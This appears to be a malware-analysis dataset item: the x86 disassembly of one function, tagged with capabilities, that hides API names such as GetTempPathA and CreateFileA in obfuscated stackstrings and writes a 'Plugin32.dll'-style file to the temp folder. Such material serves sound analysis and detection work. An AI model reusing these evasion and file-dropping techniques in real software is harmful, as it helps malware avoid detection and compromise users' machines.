Function at 0x10011960
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x1a8
mov al, 0x45
push ebx
push ebp
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x38]
push edi
lea ecx, [esp + 0x20]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x2a], 0x52
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], 0
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x54
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6d
mov byte [esp + 0x4a], 0x70
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4e], 0x68
mov byte [esp + 0x4f], 0x41
mov byte [esp + 0x50], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x30]
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x46
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x6c
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call esi
push eax
call edi
lea ecx, [esp + 0xb4]
mov esi, eax
push ecx
push 0x104
call ebp
mov ebx, dword [esp + 0x1c4]
mov ebp, dword [esp + 0x1bc]
cmp ebx, 0xffffffff
jne 0x10011ad2
mov byte [esp + 0x10], 0x50
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x67
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x54]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x10011b10
mov al, 0x25
push ebp
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x15], 0x75
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x58]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x50]
lea ecx, [esp + 0xb4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0xc8]
push 0x40000000
push edx
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x10011b55
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
lea eax, [esp + 0x4c]
push 0
push eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x1c8]
mov edi, ebp
not ecx
dec ecx
sub edx, ecx
or ecx, 0xffffffff
dec edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
lea eax, [ecx + ebp + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x10011ba4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
lea ecx, [esp + 0xb4]
push 0x2e
push ecx
mov ecx, dword [0x101318d4]
call fcn.10013220
test eax, eax
jne 0x10011bca
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret 0xc
lea edx, [esp + 0xb4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10011bec
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a8
ret 0xc
push ebx
lea eax, [esp + 0xb8]
push 0
push eax
call fcn.1001fa90
add esp, 0xc
and eax, 0xff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret 0xc